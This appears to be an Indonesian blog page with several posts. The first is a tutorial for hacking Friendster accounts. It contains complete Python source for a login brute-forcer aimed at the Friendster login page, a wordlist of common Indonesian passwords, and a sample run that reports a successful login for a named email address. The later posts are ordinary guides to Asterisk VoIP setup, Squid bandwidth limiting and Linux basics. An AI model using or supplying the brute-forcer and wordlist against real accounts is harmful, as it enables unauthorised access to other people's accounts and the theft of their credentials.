Sabtu, 07 Februari 2009

Tutorial Hacking Password Friendster 2009


Dikatakan Tutorial Hacking Password Friendster 2009 karena saat ini Teknik overlay dan Cookie Stealing. Tapi serangan brute force dictionary masih dapat di lakukan.

Pertama-tama anda harus mempunyai program Python versi baru (versi lama tidak jalan), bisa menggunakan Python versi windows. Dapat didownload : http://www.python.org/ftp/python/2.6.1/python-2.6.1.msi

Setelah selesai download, maka install python tersebut ke harddisk (c:\python26). download file pass.rar atau ambil dari sourcenya sudah disertakan di tutorial ini. Untuk file pass.rar dapat diambil di http://www.yogyafree.net/pass.rar setelah didownload maka dapat di extract ke c:\python26. lalu jalankan perintah dibawah ini di cmd (c:\python26) :

Python hackfs.py (e-mail target) words.txt -v

jika anda beruntung, maka anda mendapatkan passwordnya.

Isi file words.txt ini dikumpulkan oleh penulis dari password-password yang sering digunakan para pengguna fs di Indonesia (yogyafree.net/familycode/friendster.txt)

Source code hackfs.py :

Quote:
#!/usr/bin/python
#Friendster.com Login BruteForcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import urllib2, sys, re, urllib, httplib, socket

print "\n d3hydr8[at]gmail[dot]com friendsterBF v1.1"
print " Modifikasi bahasa dan informasi penggunaan oleh kurniawan"
print " ---------------------------------------------------------"

if len(sys.argv) not in [3,4,5,6]:
print "Penggunaan ketik: python fshack.py "
print "Contoh: python fshack.py kurniawan@yahoo.com words.txt -v\n"
print "\t -p/-proxy : Add proxy support"
print "\t -v/-verbose : Verbose Mode\n"
sys.exit(1)

for arg in sys.argv[1:]:
if arg.lower() == "-p" or arg.lower() == "-proxy":
proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1

try:
if proxy:
print "\n[+] Testing Proxy..."
h2 = httplib.HTTPConnection(proxy)
h2.connect()
print "[+] Proxy:",proxy
except(socket.timeout):
print "\n[-] Proxy Timed Out"
proxy = 0
pass
except(NameError):
print "\n[-] Proxy Not Given"
proxy = 0
pass
except:
print "\n[-] Proxy Failed"
proxy = 0
pass

try:
if verbose == 1:
print "[+] Verbose Mode On\n"
except(NameError):
print "[-] Verbose Mode Off\n"
verbose = 0
pass

host = "http://www.friendster.com/login.php"
print "[+] BruteForcing:",host
print "[+] Email:",sys.argv[1]

try:
words = open(sys.argv[2], "r").readlines()
print "[+] Jumlah kata password :",len(words),"\n"
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)

for word in words:
word = word.replace("\r","").replace("\n","")
login_form_seq = [
('_submitted', '1'),
('next', '/'),
('tzoffset', '240'),
('email', sys.argv[1]),
('password', word),
('remembermyemail', 'on'),
('btnLogIn', 'Log In'),
('btnSignUp','Sign Up')]
login_form_data = urllib.urlencode(login_form_seq)
if proxy != 0:
proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
opener = urllib2.build_opener(proxy_handler)
else:
opener = urllib2.build_opener()
try:
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
site = opener.open(host, login_form_data).read()
except(urllib2.URLError), msg:
print msg
site = ""
pass

if re.search("The email address you entered is not a valid Friendster login.",site):
print "\nThe email address you entered is not a valid Friendster login.\n"
sys.exit(1)

if re.search("The email address and password you entered did not match.",site) == None:
print "\n\t[!] Login Successfull:",sys.argv[1],word,"\n"
sys.exit(1)
else:
if verbose == 1:
print "[-] Kata Password yang diperiksa :",word
print "\n[-] Brute Complete\n"

Simpan di file fshack.py

words.txt

Quote:
CAYANG
password
superman
123456
1234567
merah
november
thunder
testing123
doremi
kampus
morning
metal
sayang
bintang
remaja
flower
sayangku
CINTA7
bekasi
abcdefgh
0123654789
BATMAN
starmild
newnokia
master
tiramisu
dokter
srigala
muhammad
sayangkuw
FOREVER
inlove
nokia
abc123
fuckme
fucking
keparat
monkey
1234567890
coklat
123456789
bismillah
bandung
ketawa
spiderman
kereta
iloveu
muslim
yayang
cintaku
juventus
terminator
love69
kacamata
samurai
penjahat
slipknot
asshole
anjink
123123
bullshit
140104
mahadewi
butterfly
asdfgh123
12345
cuantik
cayangsmua
abccab
purwodadi
abcde
abcdef
jakarta
jakartaku
naruto
binalbinal
cintaq
wanita
serius
abcdefgh
lolipop
friendship
jelekjelek
jomblo
12345678
ganteng
gejayan
superman
songoku
someone
112233
kungfu
guabanget
server
private
monyet
honey
sweety
lavender
suparman
takutku
medan
samsung
amit-amit-you
doraemon
playboy
trisakti
pancasila
gemini
balonku
kulkas
mawarmerah
password8
lesbian
hitman
cintaiaku
percayalah
rindukamu
anakkadal
nobita
jakartaku
serangan
kledokan
sepuluh
duapuluh
lelaki
kentang
ayambakar
789789
cocote
ashiteru
akucantik
campus
indonesia
jablai
kamikaze
samuraix
pandai
agustus
maniest
bungaku
kucing
sarung
januari
november
batik
satwa
kupang
loyalitas
kotagede
laruku
internet
brebes
punkers
pekanbaru
donalbebek
cocacola
pujangga
spongebob
surabaya
simpati
indocafe
secret
soulmate
perbanas
detektif
girly
flowers
sweet
mahameru
laluna
bahasa
green
kingston
astaganaga
jeruk
selimut
sweets
alwaysluv
chelsea
italia
supermanis
hanie
baladewa
kacang
keripik
hitamputih
bismillah
anakayam
sembilan
tampan
cintaa
bmw
kompas
aquarius
cantiq
cayangku
marlboro
sejahtera
imutz
palembang
kalimantan
family
kingkong
lumpia
cantik
desember
SEPTEMBER
djogja
bismilahku
orgasme
blank
pazzword
oktober
sulawesi

Simpan jadi file words.txt

Hasil :
C:\Python26>python fshack.py fskuwww@yahoo.com words.txt -v

d3hydr8[at]gmail[dot]com friendsterBF v1.1
Modifikasi bahasa dan informasi penggunaan oleh kurniawan
---------------------------------------------------------

[-] Proxy Not Given
[+] Verbose Mode On

[+] BruteForcing: http://www.friendster.com/login.php
[+] Email: fskuwww@yahoo.com
[+] Jumlah kata password : 216

[-] Kata Password yang diperiksa : CAYANG
[-] Kata Password yang diperiksa : password
[-] Kata Password yang diperiksa : superman
[-] Kata Password yang diperiksa : 123456
[-] Kata Password yang diperiksa : 1234567
[-] Kata Password yang diperiksa : merah
[-] Kata Password yang diperiksa : november
[-] Kata Password yang diperiksa : thunder

[!] Login Successfull: fskuwww@yahoo.com doremi

Selasa, 22 April 2008

Instalasi Softswitch SIP

Instalasi Asterisk di Ubuntu

Di Ubuntu dapat dilakukan melalui perintah

# apt-get install asterisk

Teknik Compile Asterisk

Teknik Instalasi yang perlu dikerjakan adalah

asterisk-1.4.0.tar.gz
asterisk-1.2.15.tar.gz
  • Anda harus memilih versi asterisk mana yang ingin di install. Mungkin yang agak aman pada hari ini adalah versi 1.2, kecuali nanti pada saat 1.4 sudah mulai stabil. Semetara suara operator wanita yang dibutuhkan adalah
asterisk-sounds-1.2.1.tar.gz
  • Saya biasanya akan mengcopykan semua file yang saya butuhkan tersebut ke folder /usr/local/src, melalui perintah
# cp asterisk-1.4.0.tar.gz /usr/local/src/
# cp asterisk-1.2.15.tar.gz /usr/local/src/
# cp asterisk-sounds-1.2.1.tar.gz /usr/local/src/
  • Menginstalasi asterisk tidak sukar, cara yang perlu dilakukan untuk asterisk-1.4 agak berbeda dengan asterisk-1.2 sebelumnya dengan menambahkan ./configure, yaitu
# cd /usr/local/src
# tar zxvf asterisk-1.4.0.tar.gz
# cd asterisk-1.4.0
# ./configure
# make
# make install
# make samples
  • Asterisk-1.2.15 merupakan versi terakhir dari asterisk-1.2 pada saat naskah ini ditulis, perintah yang perlu dijalankan untuk menginstalasi adalah
# cd /usr/local/src
# tar zxvf asterisk-1.2.15.tar.gz
# cd asterisk-1.2.15
# make
# make install
# make samples
  • Selanjutnya install suara operator asterisk, melalui perintah
# cd /usr/local/src
# tar zxvf asterisk-sounds-1.2.1.tar.gz
# cd asterisk-sounds-1.2.1
# make install

Selesai sudah proses instalasi asterisk. Langsung selanjutnya yang perlu dilakukan adalah mengkonfigurasi agar sesuai dengan apa yang kita inginkan.

Konfigurasi Asterisk Minimal Sekali

Konfigurasi Asterisk yang aman sangat minimal dengan misi untuk meng-authentikasi user, mengkonfigurasi dial-plan dan mengenalkan ENUM tidak banyak yang harus dilakukan. Seluruh proses konfigurasi merupakan proses editing file-file yang ada di folder

/etc/asterisk

File yang perlu diperhatikan tidak banyak, hanya,

sip.conf   - untuk authentikasi user dengan nomor telepon dan password.
extensions.conf - untuk mengatur dialplan.
enum.conf - untuk memperkenalkan nomor +62XX.

Masih banyak file-file konfigurasi lainnya, sangat di sarankan bagi anda yang ingin secara serius mempelajari asterisk untuk membaca-baca file-file konfigurasi yang ada di /etc/asterisk/

Konfigurasi ENUM.CONF

Tidak banyak yang harus di ubah di /etc/asterisk/enum.conf, hanya pastikan bahwa ada entry

search => e164.arpa
search => e164.org
search => e164.id

Dengan cara itu, kita dapat pastikan bahwa informasi ENUM yang ada di e164.arpa, e164.org dan e164.id akan dapat di ketahui dengan baik oleh asterisk kita.

Konfigurasi SIP.CONF

Pada file /etc/asterisk/sip.conf, untuk sebuah account dengan nomor telepon 2099, password 123456, IP address dinamis menggunakan DHCP maka entry yang digunakan adalah,

[2099]
context=default
type=friend
username=2099
secret=123456
host=dynamic
dtmfmode=rfc2833
mailbox=2099@default

Untuk asterisk-1.4, agar dial tone dapat di handel dengan baik maka perlu ditambahkan di tambahan entry berikut

rfc2833compensate=yes

Masukan entry di atas untuk masing-masing user.

Sampai titik ini maka masing-masing user dapat meregistrasikan diri ke asterisk dan dapat menelepon satu sama lain dengan mereka yang terdaftar di asterisk server yang kita operasikan.

Agar asterisk server kita dapat berbicara dengan user lain di XL. Indosat, VoIP Rakyat, di Pulver atau di SIP Proxy yang banyak bertebaran di Internet, kita perlu meregistrasikan diri ke SIP Proxy server tersebut. Perintah yang digunakan adalah

register => 2345:password@sip_proxy/1234

yang artinya, user 1234 di asterisk server yang kita operasikan merupakan user 2345 di sip_proxy yang login ke sana menggunakan password “password”. Misalnya seseorang user 2000 mempunyai account 20345 di server voiprakyat.or,id dengan password “rahasia” maka format yang digunakan adalah

register => 20345:rahasia@voiprakyat.or,id/2000

Dengan cara ini, maka ada panggilan di VoIP Rakyat ke nomor 20345 akan langsung di forward ke nomor 2000 di SIP server yang kita gunakan.

Konfigurasi EXTENSIONS.CONF

Pada file /etc/asterisk/extensions.conf kita dapat mengatur apa yang harus dilakukan oleh asterisk jika menerima sebuah panggilan ke nomor extension tertentu, yang sering digunakan adalah

exten => _20XX,1,Dial(SIP/${EXTEN},20,rt)
exten => _20XX,2,HangUp

Cara membaca perintah di atas adalah sebagai berikut,

Jika ada orang yang menelepon ke extension 20XX maka langkah 1 yang harus di kerjakan adalah DIAL EXTENsiontersebut mengunakan teknologi SIP, tunggu 20 detik, jika tidak di angkat maka time out (rt). Langkah ke 2 yang harus dilakukan adalah HangUp. Tentunya anda perlu mengatur sedikit-sedikit perintah ini agar sesuai dengan kondisi yang anda gunakan di SIP Server anda.
Beberapa perintah berbahaya yang sering dicari orang adalah sebagai berikut

exten => _0711X.,1,Dial(SIP/${EXTEN:4}@2031,20.rt)

Cara membaca-nya adalah,

Jika ada orang yang menelepon ke 0711X. Perhatikan titik sesudah X, berarti berapapun dibelakang X tidak di perdulikan. DIAL menggunakan teknologi SIP ke nomor 2031. Perhatikan baik-baik kode {EXTEN:4} ini harus di baca - buang empat (4) digit di depan nomor EXTENsion sebelum dimasukan ke 2031 - jadi 07115551234 menjadi 5551234.

Jika kita menggunakan PABX antara ATA dengan Telkom, maka perintah yang digunakan menjadi

exten => _021X.,1,Dial(SIP/9${EXTEN:3}@2031,20.rt)

Cara membaca-nya adalah,

Jika ada orang yang menelepon ke 021X. Perhatikan titik sesudah X, berarti berapapun dibelakang X tidak di perdulikan. DIAL menggunakan teknologi SIP ke nomor 2031. Perhatikan baik-baik kode 9{EXTEN:3} ini harus di baca buang tiga (3) digit di depan nomor EXTENsion yang di dial kemudian tambahkan 9 - jadi 0215551234 menjadi 95551234.

Artinya jika nomor 2031 merupakan sebuah Analog Telepon Adapter (ATA) seperti SPA3000 yang berada di jakarta dan sambungkan ke PABX di Jakarta. Maka siapapun yang berada di jaringan VoIP Tersebut akan dapat menelepon Jakarta tanpa perlu membayar SLJII maupun SLI. Orang yang mempunyai ATA tetap harus membayar pulsa lokal untuk menelelpon ke nomor ang di tuju.

Cara yang sama dapat di kembangkan untuk menelepon selular dengan cara menyambungkan ATA yang kita gunakan ke telkom. Perintah yang digunakan adalah sebagai berikut

exten => _08X.,1,Dial(SIP/${EXTEN}@2031,20.rt)

Tentunya untuk sebuah kantor yang tersambung ke jaringan VoIP Publik tidak akan mau membuka akses agar semua orang dapat menelepon semua nomor selular atau Telkom, oleh karenanya biasanya kita tidak menggunakan kode-kode 021X., atau 08X. Tapi kita akan memasukan satu per satu nomor-nomor yang di ijinkan di telepon melalui VoIP, misalnya,

exten => _0811567854,1,Dial(SIP/${EXTEN}@2031,20.rt)
exten => _0216575675,1,Dial(SIP/${EXTEN}@2031,20.rt)
exten => _0216755675,1,Dial(SIP/${EXTEN}@2031,20.rt)

Artinya hanya nomor 0811567854, 0216575675 dan 0216755675 yang dapat dihubungi melalui VoIP nomor selain nomor-nomor ini tidak dapat dihubungi.

Untuk mengadopsi nomor telepon +62XXX maupun nomor telepon lainnya kita dapat memasukan ENUMLOOKUP menggunakan perintah

exten => _62X.,1,ENUMLOOKUP(${EXTEN},sip,,1,e164.id)
exten => _62X.,2,Dial(${ENUM})
exten => _62X.,102,Playback(im-sorry)

atau

exten => _+X.,1,ENUMLOOKUP(${EXTEN},sip,,1,e164.id)
exten => _+X.,2,Dial(${ENUM})
exten => _+X.,102,Playback(im-sorry)

Jumat, 28 September 2007

Instalalasi Jaringan dengan LINUX

Jaringan dan pembagian berdasar topologi

Jaringan komputer adalah suatu kumpulan atau beberapa komputer yang dihubungkan sehingga dapat berkomunikasi, termasuk juga printer dan peralatan lainnya yang saling terhubung, Data atau informasi ditransfer melalui kabel maupun wireless sehingga orang yang menggunakan komputer dapat saling bertukar dokumen dan data, mencetak pada printer yang sama dan bersama-sama menggunakan hardware/software yang terhubung dengan jaringan.

1.1 Sejarah jaringan
Jaringan komputer melahirkan konsep awal pada tahun 1940-an di Amerika dari sebuah proyek pengembangan komputer MODEL I di laboratorium Bell dan group riset Harvard University yang dipimpin profesor H. Aiken. Pada mulanya proyek tersebut hanyalah ingin memanfaatkan sebuah perangkat komputer yang harus dipakai bersama.

Manajemen Bandwith di SQUId

Manajemen Bandwith di SQUId

MANAJEMEN BANDWIDTH
DI SQUID MENGGUNAKAN DELAY POOLS
Dokumen ini menjelaskan bagaimana cara mengkonfigurasikan proxy server anda untuk membatasi bandwidth download atau incoming traffic.
Berikut langkah-langkah pengkonfigurasian manajemen bandwidth di squid:
1. Pertama-tama periksa apakah squid telah berjalan di server dan telah dikonfiguraisi sebagai mesin proxy server.
2. Sebelum memulai memanajemen bandwidth di squid, kita jelaskan dulu komponen-komponen manajement bandwidth di squid

delay_pools
Opsi ini untuk menspesifikasi berapa jumlah pool yang digunakan untuk membatasi jumlah bandwidth dari ACL. Opsi ini akan dirangkaikan bersama opsi delay_class dan delay_parameters yang akan dibahas di bawah ini.

delay_class
Opsi ini menspesifikasikan kelompok dari masing-masing pool yang telah didefinisikan pada opsi delay-pools. Ada tiga class yang didukung Squid, antara lain:
• class 1: Semua akses dibatasi dengan single bucket, artinya hanya bisa mendefinisikan overall bandwidth untuk suatu ACL saja, tidak bisa mendefinisikan bandwidth dengan lebih mendetail
• class 2: Semua akses dibatasi dengan single agregate dengan dua parameter bandwidth. Parameter pertama mendefinisikan berapa bandwidth maksimal yang didapatkan ACL, parameter kedua mendefinisikan berapa bandwidth overall untuk ACL yang spesifik yang ada pada network tersebut.
• class 3: Kelompok yang definisi bandwidth-nya paling mendetail. Parameter pertama mendefinisikan berapa bandwidth maksimal yang didapatkan ACL, parameter kedua mendefinisikan berapa bandwidth normal yang didapatkan ACL secara umum, dan parameter yang ketiga adalah mendefinisikan bandwidth yang didapatkan ACL jika mengakses ACL-ACL tertentu yang spesifik, misalnya file mp3.

delay_parameters
Opsi ini menspesifikasikan rumus bandwidth yang akan didapatkan oleh ACL yang akan memasuki delay_pool. Misalnya ada entry berikut ini pada delay_parameters:
delay_parameters 1 -1/-1 2100/4000
Angka 1 berarti rumus ini berlaku untuk pool 1. Angka -1/-1 berarti bandwidth maksimal yang diberikan Squid adalah tidak terbatas untuk pool ini.

Angka 2100/4000 berarti bandwidth yang didapatkan oleh ACL setelah masuk ke pool ini. Angka ini berada dalam kelipatan 8 b, sehingga untuk mendapatkan nilai bandwidth yang sebenarnya harus dikalikan delapan. Angka 2100 adalah bandwidth yang didapatkan ACL pada masa-masa normal. Jika dikalikan 8, maka bandwidth normal yang akan didapatkan ACL sekitar 18 Kbps. Angka 4000 adalah bandwidth maksimal yang didapatkan ACL pada masa-masa jalur sedang kosong. Jika dikalikan 8, maka bandwidth yang didapatkan sekitar 32 Kbps.

delay_access
Opsi ini mendefinisikan siapa-siapa ACL yang akan dimasukkan ke pool tertentu untuk mendapatkan “perlambatan” bandwidth. Bentuk umumnya adalah seperti ini:
delay_access 1 allow labprog
Opsi di atas berarti kita memasukkan ACL labprog ke dalam pool 1.


3. Jika sudah mengerti komponen-komponen delay pool, kita mulai konfigurasi delay pool .
Di umpamakan kita mempunyai bandwidth dari ISP sebesar 512kb, dan kita membuat rule seperti berikut ini:
- Batas kecepatan koneksi overall adalah 256 Kbps. per-network adalah 64 kbps. Sedangkan per-user/host dibatasi 2 Kbps jika digunakan untuk download file bertipe exe, mp3, vqf, tar.gz, gz, rpm, zip, rar, avi, mpeg, mpe, mpg, qt, ram, rm, iso, raw, dan wav. Jika tidak, maka koneksi perhost HANYA mengikuti aturan per-Network saja.

Penyelesaian:
Edit file /etc/squid/squid.conf
#vi /etc/squid/squid.conf
Lalu tambahkan contoh konfigurasi ini:
# Sebelum kita melakukan pembatasan, kita perlu mendefinisikan ACL network # # yang kita perlukan terlebih dahulu. ACL yang didefinisikan pada host bridge
# seperti di bawah ini:
acl lokal src 192.168.1.0/24
# Kemudian kita membatasi maksimum download dengan tag di bawah ini:
# Batas kecepatan koneksi overall adalah 256 Kbps. per-network adalah
# 64 kbps. Sedangkan per-user/host dibatasi 2 Kbps jika digunakan untuk
# download file bertipe exe, mp3, vqf, tar.gz, gz, rpm, zip, rar, avi,
# mpeg, mpe, mpg, qt, ram, rm, iso, raw, dan wav. Jika tidak, maka
# koneksi perhost HANYA mengikuti aturan per-Network saja.

acl filegede url_regex -i \.exe
acl filegede url_regex -i \.mp3
acl filegede url_regex -i \.vqf
acl filegede url_regex -i \.gz
acl filegede url_regex -i \.rpm
acl filegede url_regex -i \.zip
acl filegede url_regex -i \.rar
acl filegede url_regex -i \.avi
acl filegede url_regex -i \.mpeg
acl filegede url_regex -i \.mpe
acl filegede url_regex -i \.mpg
acl filegede url_regex -i \.qt
acl filegede url_regex -i \.ram
acl filegede url_regex -i \.rm
acl filegede url_regex -i \.iso
acl filegede url_regex -i \.raw
acl filegede url_regex -i \.wav

# Kita buat dulu ACL untuk mendefinisikan file-file di atas dengan menggunakan # regularexpression. Kemudian kita mendefinisikan 2 delay pool untuk
# menampung bandwidth.
# Satu pool masuk dalam kategori class 2 untuk mendefinisikan aturan overall
# 256 Kbps dan per-network 64 Kbps. Satu pool lainnya masuk kategori class 3
# untuk mendefinisikan aturan tambahan jika user mendownload file-file yang
#didefinisikan dalam ACL url_regex dengan bandwidth maksimal 2 Kbps.
delay_pools 2
delay_class 1 3
delay_parameters 1 32000/32000 8000/8000 250/250
delay_access 1 allow lokal filegede
delay_access 1 deny all
delay_class 2 2
delay_parameters 2 32000/32000 8000/8000
delay_access 2 allow lokal
delay_access 2 deny all

Jika sudah selesai, simpan hasil konfigurasi dan restart squid
#/etc/init.d/squid restart


Tulisan ini di buat oleh
Galih Satriaji
supported by:
Net Centric Computing Laboratory
Informatics - ITS
Pengenalan Linux
Kata "Linux" untuk saat ini sudah tidak asing lagi bagi para pengguna internet dan komunitas mahasiswa yang memiliki
hobby untuk mencoba software-software baru. Secara teknis dan singkat dapat dikatakan, Linux adalah suatu sistem
operasi yang bersifat multi user dan multi tasking, yang dapat berjalan di berbagai platform termasuk prosesor Intel
386 maupun yang lebih tinggi. Sistem operasi ini mengimplementasikan standar POSIX. Linux dapat berinteroperasi
secara baik dengan sistem operasi yang lain, termasuk Apple, Microsoft dan Novell.
Nama Linux sendiri diturunkan dari pencipta awalnya, Linus Torvalds, yang sebetulnya mengacu pada suatu
kumpulan software lengkap yang bersama-sama dengan kernel menyusun suatu sistem operasi yang lengkap.
Lingkungan sistem operasi ini mencakup ratusan program, termasuk kompiler, interpreter, editor dan utilitas.
Perangkat bantu yang mendukung konektifitas, ethernet, SLIP dan PPP dan interoperabilitas. Produk perangkat lunak
yang handal (reliable), termasuk versi pengembangan terakhir. Kelompok pengembang yang tersebar di seluruh dunia
yang telah bekerja dan menjadikan Linux portabel ke suatu platform baru, begitu juga mendukung komunitas pengguna
yang memiliki beragam kebutuhan dan juga pengguna dapat turut serta bertindak sebagai tim pengembang sendiri.
1.1 Perbedaan mendasar Linux
Satu hal yang membedakan Linux terhadap sistem operasi lainnya adalah harga. Linux ini lebih murah dan dapat
diperbanyak serta didistribusikan kembali tanpa harus membayar fee atau royalti kepada seseorang. Tetapi ada hal
lain yang lebih utama selain pertimbangan harga yaitu mengenai source code. Source code Linux tersedia bagi semua
orang sehingga setiap orang dapat terlibat langsung dalam pengembangannya.
Kebebasan ini telah memungkinkan para vendor perangkat keras membuat driver untuk device tertentu tanpa
harus mendapatkan lisensi source code yang mahal atau menandatangani Non Disclosure Agreement (NDA). Dan itu
juga telah menyediakan kemungkinan bagi setiap orang untuk melihat ke dalam suatu sistem operasi yang nyata dan
berkualitas komersial.
Karena Linux itu tersedia secara bebas di internet, berbagai vendor telah membuat suatu paket distrbusi yang
dapat dianggap sebagai versi kemasan Linux. Paket ini termasuk lingkungan Linux lengkap, penagkat lunak untuk
instalasi dan mungkin termasuk perangkat lunak khusus dan dukungan khusus.
1.2 Perbandingan Linux terhadap sistem operasi lainnya
Linux disusun berdasarkan standar sistem operasi POSIX yang sebenarnya diturunkan berdasarkan fungsi kerja UNIX.
UNIX kompatibel dengan Linux pada level system call, ini berarti sebagian besar program yang ditulis untuk UNIX
atau Linux dapat direkompilasi dan dijalankan pada sistem lain dengan perubahan yang minimal. Secara umum dapat
dikatakan Linux berjalan lebih cepat dibanding UNIX lain pada hardware yang sama. Dan lagi UNIX memiliki
kelemahan yaitu tidak bersifat free.
MS-DOS memiliki kemiripan dengan Linux yaitu file sistem yang bersifat hirarkis. Tetapi MS-DOS hanya dapat
dijalankan pada prosesor x86 dan tidak mendukung multi user dan multi tasking, serta tidak bersifat free. Juga MSDOS
tidak memiliki dukungan yang baik agar dapat berinteroperasi dengan sistem operasi lainnya, termasuk tidak
tersedianya perangkat lunak network, program pengembang dan program utilitas yang ada dalam Linux.
MSWindows menawarkan kemampuan grafis yang ada pada Linux termasuk kemampuan networking tetapi tetap
memiliki kekurangan yang ada pada MS-DOS.
Windows NT yang juga tersedia untuk Digital Alpha selain prosesor x86. Namun Windows NT ini masih juga
memiliki beberapa kekurangan yang telah ada pada MS-DOS.Waktu untuk menemukan suatu bug dalam suatu sistem
operasi ini tak sebanding dengan harga yang harus dibayar.
Sistem operasi Apple untuk Macintosh hanya dapat berjalan di sistem Mac. Juga memiliki kekurangan dari sisi
ketersediaan perangkat bantu pengembang (development tool) dan juga kurang dapat secara mudah untuk berintoperasi
dengan sistem operasi lainnya. Apple juga telah memungkinkan Linux dapat dijalankan pada PowerMac.
1.3 Sejarah Linux
Linux pada awalnya dibuat oleh seorang mahasiswa Finlandia yang bernama Linus Torvalds. Dulunya Linux merupakan
proyek hobi yang diinspirasikan dari Minix, yaitu sistem UNIX kecil yang dikembangkan oleh Andrew Tanenbaum.
Linux versi 0.01 dikerjakan sekitar bulan Agustus 1991. Kemudian pada tanggal 5 Oktober 1991, Linus
mengumumkan versi resmi Linux, yaitu versi 0.02 yang hanya dapat menjalankan shell bash (GNU Bourne Again
Shell) dan gcc (GNU C Compiler).
Saat ini Linux adalah sistem UNIX yang sangat lengkap, bisa digunakan untuk jaringan, pengembangan software
dan bahkan untuk pekerjaan sehari-hari. Linux sekarang merupakan alternatif sistem operasi yang jauh lebih
murah jika dibandingkan dengan sistem operasi komersial (misalnya Windows 9.x/NT/2000/ME). Linux mempunyai
perkembangan yang sangat cepat. Hal ini dapat dimungkinkan karena Linux dikembangkan oleh beragam kelompok
orang. Keragaman ini termasuk tingkat pengetahuan, pengalaman serta geografis. Agar kelompok ini dapat berkomunikasi
dengan cepat dan efisien, internet menjadi pilihan yang sangat tepat.
Karena kernel Linux dikembangkan dengan usaha yang independent, banyak aplikasi yang tersedia, sebagai contoh,
C Compiler menggunakan gcc dari Free Software Foundation GNU’s Project. Compiler ini banyak digunakan
pada lingkungan Hewlett-Packard dan Sun.
Sekarang ini, banyak aplikasi Linux yang dapat digunakan untuk keperluan kantor seperti untuk spreadsheet,
word processor, database dan program editor grafis yang memiliki fungsi dan tampilan seperti Microsoft Office, yaitu
Star Office. Selain itu, juga sudah tersedia versi Corel untuk Linux dan aplikasi seperti Matlab yang pada Linux
dikenal sebagai Scilab.
Linux bisa didapatkan dalam berbagai distribusi (sering disebut Distro). Distro adalah bundel dari kernel Linux,
beserta sistem dasar linux, program instalasi, tools basic, dan program-program lain yang bermanfaat sesuai dengan
tujuan pembuatan distro. Ada banyak sekali distro Linux, diantaranya :
􀀀 RedHat, distribusi yang paling populer, minimal di Indonesia. RedHat merupakan distribusi pertama yang
instalasi dan pengoperasiannya mudah.
􀀀 Debian, distribusi yang mengutamakan kestabilan dan kehandalan, meskipun mengorbankan aspek kemudahan
dan kemutakhiran program. Debian menggunakan .deb dalam paket instalasi programnya.
􀀀 Slackware, merupakan distribusi yang pernah merajai di dunia Linux. Hampir semua dokumentasi Linux
disusun berdasarkan Slackware. Dua hal penting dari Slackware adalah bahwa semua isinya (kernel, library
ataupun aplikasinya) adalah yang sudah teruji. Sehingga mungkin agak tua tapi yang pasti stabil. Yang kedua
karena dia menganjurkan untuk menginstall dari source sehingga setiap program yang kita install teroptimasi
dengan sistem kita. Ini alasannya dia tidak mau untuk menggunakan binary RPM dan sampai Slackware 4.0, ia
tetap menggunakan libc5 bukan glibc2 seperti yang lain.
􀀀 SuSE, distribusi yang sangat terkenal dengan YaST (Yet another Setup Tools) untuk mengkonfigurasi sistem.
SuSE merupakan distribusi pertama dimana instalasinya dapat menggunakan bahasa Indonesia.
􀀀 Mandrake, merupakan varian distro RedHat yang dioptimasi untuk pentium. Kalau komputer kita menggunakan
pentium ke atas, umumnya Linux bisa jalan lebih cepat dengan Mandrake.
􀀀 WinLinux, distro yang dirancang untuk diinstall di atas partisi DOS (WIndows). Jadi untuk menjalankannya
bisa di-klik dari Windows. WinLinux dibuat seakan-akan merupakan suatu program aplikasi under Windows.
Dan masih banyak distro-distro lainnya yang telah tersedia maupun yang akan muncul.
1.4 Kelebihan Linux
Di sini akan dijelaskan beberapa kelebihan dari sistem operasi Linux/UNIX dibandingkan dengan dengan sistem operasi
yang lain. Dan berikut ini adalah beberapa fakta dari hal-hal yang menguntungkan dengan menggunakan program
dan file-file Linux/UNIX :
􀀀 Pada dasarnya semua data tersimpan di dalam harddisk walau ada beberapa kondisi dimana data tersimpan di
disket. Linux/UNIX memberikan beberapa proses spesial dimana terminal, printer dan device hardware lainnya
dapat diakses seperti kita mengakses file yang tersimpan dalam harddisk atau disket.
􀀀 Ketika program dijalankan, program tersebut dijalankan dari harddisk ke dalam RAM dan setelah dijalankan
akan dinamakan sebagai proses.
􀀀 Linux/UNIX menyediakan servis untuk membuat, memodifikasi program, proses dan file.
􀀀 Linux/UNIX mendukung struktur file yang bersifat hirarki.
􀀀 Linux/UNIX adalah salah satu sistem operasi yang termasuk ke dalam kelas sistem operasi yang dapat melakukan
multitasking. Multitasking sendiri adalah keadaan dimana suatu sistem operasi dapat melakukan banyak kerjaan
pada saat yang bersamaan.
􀀀 Selain multitasking, Linux/UNIX juga dapat mendukung multiuser. Yaitu sistem operasi yang pada saat bersamaan
dapat digunakan oleh lebih dari satu user yang masuk ke dalam sistem. Bahkan untuk Linux juga mendukung
untuk multiconsole dimana pada saat bersamaan di depan komputer langsung tanpa harus melalui jaringan dan
memungkinkan lebih dari satu user masuk ke dakam sistem.
1.5 Bagian sistem operasi
Sistem Operasi Linux/UNIX terdiri dari kernel, program sistem dan beberapa program aplikasi. Kernel merupakan
inti dari sistem operasi yang mengatur penggunaan memori, piranti masukan keluaran, proses-proses, pemakaian file
pada file system dan lain-lain. Kernel juga menyediakan sekumpulan layanan yang digunakan untuk mengakses kernel
yang disebut system call. System call ini digunakan untuk mengimplementasikan berbagai layanan yang dibutuhkan
oleh sistem operasi.
Program sistem dan semua program-program lainnya yang berjalan di atas kernel disebut user mode. Perbedaan
mendasar antara program sistem dan program aplikasi adalah program sistem dibutuhkan agar suatu sistem operasi
dapat berjalan sedangkan program aplikasi adalah program yang dibutuhkan untuk menjalankan suatu aplikasi tertentu.
Contoh : daemon merupakan program sistem dan pengolah kata (word processor) merupakan program aplikasi.
1.6 Bagian penting kernel Linux
Kernel Linux terdiri dari beberapa bagian penting, seperti : manajemen proses, manajemen memori, hardware device
drivers, filesystem drivers, manajemen jaringan dan lain-lain. Namun bagian yang terpenting ialah manajemen proses
dan manajemen memori. Manajemen memori menangani daerah pemakaian memori, daerah swap, bagian-bagian
kernel dan untuk buffer cache. Manajemen proses menangani pembuatan proses-proses dan penjadwalan proses. Pada
bagian dasar kernel berisi hardware device drivers untuk setiap jenis hardware yang didukung.
Instalasi Linux
